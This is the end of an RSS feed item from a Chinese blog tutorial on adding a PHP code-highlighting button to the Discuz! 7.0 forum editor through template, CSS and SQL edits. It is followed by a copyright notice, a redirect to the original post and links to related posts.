<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #339933;">&lt;!--</span><span style="color: #009900;">&#123;</span><span style="color: #000066; font-weight: bold;">if</span> in_array<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'php'</span><span style="color: #339933;">,</span> $seditor<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">--&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;javascript:;&quot;</span> title<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;{lang e_php}&quot;</span> <span style="color: #003366; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;tb_php&quot;</span> onclick<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;seditor_insertunit('$seditor[0]', '[php]', '[/php]')&quot;</span><span style="color: #339933;">&gt;</span>PHP<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span><br />
&nbsp; &nbsp; <span style="color: #339933;">&lt;!--</span><span style="color: #009900;">&#123;</span><span style="color: #339933;">/</span><span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">--&gt;</span></div></td></tr></tbody></table></div>
<p>在 \templates\default\css_seditor.htm<br />
中查找：</p>
<div class="codecolorer-container css default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="css codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #6666ff;">.editor_tb</span> div a<span style="color: #6666ff;">.tb_code</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">background-position</span><span style="color: #00AA00;">:</span> <span style="color: #933;">-3px</span> <span style="color: #933;">-461px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></div></td></tr></tbody></table></div>
<p>在其下加上：</p>
<div class="codecolorer-container css default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="css codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #6666ff;">.editor_tb</span> div a<span style="color: #6666ff;">.tb_php</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">background-position</span><span style="color: #00AA00;">:</span> <span style="color: #933;">-3px</span> <span style="color: #933;">-521px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></div></td></tr></tbody></table></div>
<p>在	\templates\default\css_editor.htm	中查找：</p>
<div class="codecolorer-container css default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="css codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #cc00cc;">#e_cmd_code</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">background-position</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span> <span style="color: #933;">-461px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span></div></td></tr></tbody></table></div>
<p>在其下加上：</p>
<div class="codecolorer-container css default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="css codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #cc00cc;">#e_cmd_php</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">background-position</span><span style="color: #00AA00;">:</span> <span style="color: #933;">0px</span> <span style="color: #933;">-521px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></div></td></tr></tbody></table></div>
<p>最后，进入DZ后台，“工具”->”数据库“->”升级 “,<br />
在”Discuz! 数据库升级 &#8211; 请将数据库升级语句粘贴在下面“下的的框中粘贴以下代码(注意，cdb_bbcodes中的cdb_请更改为你自己的表前缀)：</p>
<div class="codecolorer-container sql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">INSERT</span> <span style="color: #993333; font-weight: bold;">INTO</span> <span style="color: #ff0000;">`cdb_bbcodes`</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">`id`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`available`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`type`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`tag`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`icon`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`replacement`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`example`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`explanation`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`params`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`prompt`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`nest`</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">`displayorder`</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">VALUES</span><br />
<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">25</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'php'</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'cmd_php'</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">''</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">''</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'插入php代码'</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">''</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span>;</div></td></tr></tbody></table></div>
<p>再点击最下面那个”提交“按钮。</p>
<p>将\images\common\editor.gif替换为<a href="http://static.ihacklog.com/wp-files/2009/04/editor.gif" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）"   title="editor">这个 </a><br />
好了，现在，进入DZ后台，“界面”->“编辑器设置”->“ Discuz! 代码”<br />
看下php标签是否躺在那了？在去前台发个帖子看下。</p>
<p>我本地测试的效果：<br />
<img src="http://i3.6.cn/cvbnm/5f/02/58/fc2d88019dda70a83b877657d6df1355.jpg" alt="test" /></p>
<p><img src="http://i3.6.cn/cvbnm/ee/3e/90/9a5bf92cc5d57746e8363fcad27207a0.jpg" alt="编辑器" /></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=1719";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=1719" title="Permanent Link to Discuz!7.0实现PHP代码高亮[原创]" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=1719</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年06月30日  //  <a href="http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html" title="Discuz! X2 SQL注射漏洞 (20110629)">Discuz! X2 SQL注射漏洞 (20110629)</a> (3)</li><li>2010年04月24日  //  <a href="http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html" title="为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]">为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]</a> (6)</li><li>2010年04月17日  //  <a href="http://ihacklog.com/php/wordpress/plugins/add-wp-shortcode-to-enable-media-playing.html" title="不用audio-player插件也播放mp3">不用audio-player插件也播放mp3</a> (19)</li><li>2010年03月3日  //  <a href="http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html" title="discuz论坛中发帖之音乐自动播放方法">discuz论坛中发帖之音乐自动播放方法</a> (3)</li><li>2009年12月2日  //  <a href="http://ihacklog.com/software/cool_software_share/discuz-1-0-found.html" title="深夜，在DZ官网找到了传说中的discuz1.0">深夜，在DZ官网找到了传说中的discuz1.0</a> (8)</li><li>2009年11月28日  //  <a href="http://ihacklog.com/php/discuz/ucenter-application-developing-note.html" title="ucenter应用开发笔记之通信篇">ucenter应用开发笔记之通信篇</a> (2)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/discuz70shixianphpdaimagaoliang.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

